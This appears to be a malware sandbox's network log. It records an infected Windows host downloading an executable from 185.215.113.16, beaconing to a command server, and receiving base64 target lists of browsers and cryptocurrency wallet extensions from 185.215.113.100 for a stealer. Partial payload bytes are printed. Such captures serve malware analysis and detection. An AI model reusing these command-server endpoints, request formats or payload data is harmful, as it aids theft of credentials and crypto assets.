Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49738	185.215.113.16	80	7692	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 05:09:05.950079918 CEST	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Sep 1, 2024 05:09:06.688505888 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 03:09:06 GMT Content-Type: application/octet-stream Content-Length: 1771008 Last-Modified: Sun, 01 Sep 2024 01:45:41 GMT Connection: keep-alive ETag: "66d3c745-1b0600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b e5 e6 03 f5 b6 e6 03 f5 b6 e6 03 f5 b6 89 75 5e b6 fe 03 f5 b6 89 75 6b b6 eb 03 f5 b6 89 75 5f b6 dc 03 f5 b6 ef 7b 76 b6 e5 03 f5 b6 66 7a f4 b7 e4 03 f5 b6 ef 7b 66 b6 e1 03 f5 b6 e6 03 f4 b6 8d 03 f5 b6 89 75 5a b6 f4 03 f5 b6 89 75 68 b6 e7 03 f5 b6 52 69 63 68 e6 03 f5 b6 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4d 8b c8 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 c8 01 00 00 42 22 00 00 00 00 00 00 30 67 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 67 00 00 04 00 00 d3 4f 1b 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$bu^uku_{vfz{fuZuhRichPELMfB"0g@`gO@P#d# #<@.rsrc #L@.idata #L@ )$N@ylafldxqMP@tgmwlthu g@.taggant00g"@
Sep 1, 2024 05:09:06.688518047 CEST	164	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Sep 1, 2024 05:09:06.688528061 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Sep 1, 2024 05:09:06.688538074 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Sep 1, 2024 05:09:06.688546896 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Sep 1, 2024 05:09:06.688555956 CEST	1236	IN	Data Raw: 52 cc c4 ee 5a e2 ba ed 15 29 25 f1 44 bf f8 54 50 ff b5 07 9b 77 a6 13 43 bc 5d 8f 58 34 d9 23 d9 54 ac 6a 79 b3 59 e2 5f 53 c0 81 d9 b9 36 81 28 3a ef e2 13 e6 46 8a b6 c3 ff 6a 9d f2 13 31 69 75 eb 6b 68 1a 89 ed 24 6d df 2f d9 ca bc bb 52 02 Data Ascii: RZ)%DTPwC]X4#TjyY_S6(:Fj1iukh$m/R>axF6#E&ss)_K /tXmK1K1K1K1K1K1K1K1MlTC/P.S6F./{+qem"le*'YR(MR(qi.y(,=
Sep 1, 2024 05:09:06.688608885 CEST	1236	IN	Data Raw: d2 f4 a2 6d 3e dc 1c 9d 41 ca 39 28 ba 4a 5f 6a 8f 05 51 65 81 09 5b 34 6c f9 68 65 49 95 ed ee 8c d6 b4 1d 72 12 34 e5 9c ff da 3b 85 1d 28 2d d4 51 a6 05 c0 cb 35 26 5b 16 e3 59 44 95 b2 71 99 36 3a eb fa ae fd ea d0 e7 c6 27 3c c2 26 99 89 7a Data Ascii: m>A9(J_jQe[4lheIr4;(-Q5&[YDq6:'<&zitZ;Bf]j`OO2$mt1-qX@=$Y/e22O:SJrEQ[5{nsAkvhvJiIeL#L5LnsXr?,C3!>4#\pl!c_Y^F#GW
Sep 1, 2024 05:09:06.688620090 CEST	820	IN	Data Raw: 9c 19 96 b9 59 1c 2b 6a f4 01 23 5a c6 2b bc f1 19 81 1a 36 93 01 17 72 26 06 bf 4d 99 51 57 05 a1 12 2a e6 90 70 05 aa 42 c9 69 f5 92 01 d7 70 18 06 23 f6 f6 ed c6 69 4c 4a 00 31 1b 2e 17 46 a4 fe 7e 78 74 6e 22 fb 19 12 c2 e3 28 cf 29 16 73 d2 Data Ascii: Y+j#Z+6r&MQWpBip#iLJ1.F~xtn"()sTr6U2#Y[KB^UC/S$#3"fr$+8+r-V}MLJnc2xSFsK^tMnO~C#L:"8I@FA9MV^)*p8\|XrAV
Sep 1, 2024 05:09:06.688627958 CEST	1236	IN	Data Raw: 81 ab 2a d6 72 48 4a 02 6f 5e 5b 1e 4c cc a6 42 10 80 37 04 c8 b6 b7 78 ed 2f db 84 78 6b 3e 1c f4 01 63 69 c2 98 ee dd 61 94 6f 78 45 5a bb 1b 30 e2 11 9c 50 36 24 76 f9 d4 11 79 b3 02 7d 78 71 12 47 e6 8d d2 5b 1e 34 fe f6 78 74 ba 21 4f 1c 4a Data Ascii: rHJo^[LB7x/xk>ciaoxEZ0P6$vy}xqG[4xt!OJB)D/"&L)~(#fKJ;:>r=\|TyAfwXmD~5CK/:TR&gSrI^dK;0mY%}*$+Fo%%,/Y7&wsR!hu_K:(5D"\&
Sep 1, 2024 05:09:06.688637018 CEST	1236	IN	Data Raw: 1a ce 18 21 73 fe 4e 15 75 92 a1 6b d7 cd 7d 41 e9 36 d4 78 f1 2c 66 58 05 22 c8 ab 98 01 23 3e dd a6 96 95 31 11 5b 0e 4c cc 0a 43 f2 80 5b ee 1e 8e d2 78 cd 12 bd ef 6e 66 7b 39 b0 b6 3b 79 e9 ce 01 14 d5 c1 cd f5 18 01 52 ba 43 c2 75 fd 1c 41 Data Ascii: !sNuk}A6x,fX"#>1[LC[xnf{9;yRCuAcLv"_I`A^q]%TH".I%%N1iq^:sAj)Kz;rrV$Cz/\|#h)^j](?#Q\|T%f6yyuI`C*sD%,q+`CfDRCi\|
Sep 1, 2024 05:09:06.693628073 CEST	1236	IN	Data Raw: b2 6e 5d 31 c5 09 89 69 7e d8 3b 41 15 57 bb 2e 8d fa e2 e4 77 64 6c f1 4e 68 1d c8 55 5b fa 66 76 8e 97 e5 04 dd 56 e4 c7 b9 a6 3a 93 bc 7c d1 59 ba ea 32 f7 ba 2e 2d 2d 0b 77 71 0f 09 a5 f8 80 a1 30 ca 9a 13 23 32 80 9c 8b 7d 74 aa e9 20 0e cd Data Ascii: n]1i~;AW.wdlNhU[fvV:\|Y2.--wq0#2}t ZQU4LEu2~N93.3}AY^@K?40fRRVZfB:<R><A)&7"t>Z<2DfK`4a6LZ+Q&rX\|VNO9WVhk

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49739	185.215.113.19	80	7692	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 05:09:09.015841007 CEST	182	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 30 35 31 30 30 30 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000051000&unit=246122658369
Sep 1, 2024 05:09:09.762048960 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 03:09:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49740	185.215.113.16	80	7692	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 05:09:09.769679070 CEST	140	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16 If-Modified-Since: Sun, 01 Sep 2024 01:45:41 GMT If-None-Match: "66d3c745-1b0600"
Sep 1, 2024 05:09:10.525501013 CEST	192	IN	HTTP/1.1 304 Not Modified Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 03:09:10 GMT Last-Modified: Sun, 01 Sep 2024 01:45:41 GMT Connection: keep-alive ETag: "66d3c745-1b0600"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49741	185.215.113.19	80	7692	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 05:09:11.891752005 CEST	182	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 30 35 32 30 30 30 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000052000&unit=246122658369
Sep 1, 2024 05:09:12.648423910 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 03:09:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49742	185.215.113.100	80	7864	C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 05:09:12.209261894 CEST	90	OUT	GET / HTTP/1.1 Host: 185.215.113.100 Connection: Keep-Alive Cache-Control: no-cache
Sep 1, 2024 05:09:12.950489044 CEST	203	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 03:09:12 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 1, 2024 05:09:12.953109026 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CFBAKKJDBKJJJKFHDAEB Host: 185.215.113.100 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 46 42 41 4b 4b 4a 44 42 4b 4a 4a 4a 4b 46 48 44 41 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 43 41 41 32 42 32 35 46 34 34 36 33 36 38 32 32 34 35 35 38 0d 0a 2d 2d 2d 2d 2d 2d 43 46 42 41 4b 4b 4a 44 42 4b 4a 4a 4a 4b 46 48 44 41 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6c 65 76 61 0d 0a 2d 2d 2d 2d 2d 2d 43 46 42 41 4b 4b 4a 44 42 4b 4a 4a 4a 4b 46 48 44 41 45 42 2d 2d 0d 0a Data Ascii: ------CFBAKKJDBKJJJKFHDAEBContent-Disposition: form-data; name="hwid"BCAA2B25F446368224558------CFBAKKJDBKJJJKFHDAEBContent-Disposition: form-data; name="build"leva------CFBAKKJDBKJJJKFHDAEB--
Sep 1, 2024 05:09:13.215693951 CEST	407	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 03:09:13 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 5a 44 4a 6b 4e 54 5a 6c 4f 44 41 30 4f 44 4e 69 5a 6d 56 6a 4d 44 4d 30 4d 6a 46 68 4e 32 49 78 4e 44 63 33 4e 54 4e 68 4d 7a 63 30 5a 57 56 6d 4e 47 55 78 4d 6a 63 34 4e 44 59 31 4d 6a 6b 33 4d 6a 49 78 4d 44 63 32 4d 7a 6c 6c 59 6a 45 7a 59 54 56 6d 59 57 4e 6a 59 6a 5a 69 4e 32 4a 69 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: ZDJkNTZlODA0ODNiZmVjMDM0MjFhN2IxNDc3NTNhMzc0ZWVmNGUxMjc4NDY1Mjk3MjIxMDc2MzllYjEzYTVmYWNjYjZiN2JifHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Sep 1, 2024 05:09:13.216773987 CEST	470	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FBFCFIEBKEGHIDGCAFBF Host: 185.215.113.100 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 42 46 43 46 49 45 42 4b 45 47 48 49 44 47 43 41 46 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 32 64 35 36 65 38 30 34 38 33 62 66 65 63 30 33 34 32 31 61 37 62 31 34 37 37 35 33 61 33 37 34 65 65 66 34 65 31 32 37 38 34 36 35 32 39 37 32 32 31 30 37 36 33 39 65 62 31 33 61 35 66 61 63 63 62 36 62 37 62 62 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 43 46 49 45 42 4b 45 47 48 49 44 47 43 41 46 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 43 46 49 45 42 4b 45 47 48 49 44 47 43 41 46 42 46 2d 2d 0d 0a Data Ascii: ------FBFCFIEBKEGHIDGCAFBFContent-Disposition: form-data; name="token"d2d56e80483bfec03421a7b147753a374eef4e127846529722107639eb13a5faccb6b7bb------FBFCFIEBKEGHIDGCAFBFContent-Disposition: form-data; name="message"browsers------FBFCFIEBKEGHIDGCAFBF--
Sep 1, 2024 05:09:13.467807055 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 03:09:13 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 1520 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZXJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcVXNlciBEYXRhfGNocm9tZXwwfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8UVFCcm93c2VyfFxUZW5jZW50XFFRQnJvd3Nl
Sep 1, 2024 05:09:13.467818022 CEST	512	IN	Data Raw: 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 33 4a 35 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 Data Ascii: clxVc2VyIERhdGF8Y2hyb21lfDB8Q3J5cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE1vemlsbGEgRml
Sep 1, 2024 05:09:13.469037056 CEST	469	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGIJDAFCFHIEHJJKEHJK Host: 185.215.113.100 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 47 49 4a 44 41 46 43 46 48 49 45 48 4a 4a 4b 45 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 32 64 35 36 65 38 30 34 38 33 62 66 65 63 30 33 34 32 31 61 37 62 31 34 37 37 35 33 61 33 37 34 65 65 66 34 65 31 32 37 38 34 36 35 32 39 37 32 32 31 30 37 36 33 39 65 62 31 33 61 35 66 61 63 63 62 36 62 37 62 62 0d 0a 2d 2d 2d 2d 2d 2d 44 47 49 4a 44 41 46 43 46 48 49 45 48 4a 4a 4b 45 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 44 47 49 4a 44 41 46 43 46 48 49 45 48 4a 4a 4b 45 48 4a 4b 2d 2d 0d 0a Data Ascii: ------DGIJDAFCFHIEHJJKEHJKContent-Disposition: form-data; name="token"d2d56e80483bfec03421a7b147753a374eef4e127846529722107639eb13a5faccb6b7bb------DGIJDAFCFHIEHJJKEHJKContent-Disposition: form-data; name="message"plugins------DGIJDAFCFHIEHJJKEHJK--
Sep 1, 2024 05:09:13.715188026 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 03:09:13 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Sep 1, 2024 05:09:13.715198994 CEST	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Sep 1, 2024 05:09:13.715213060 CEST	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Sep 1, 2024 05:09:13.715221882 CEST	672	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
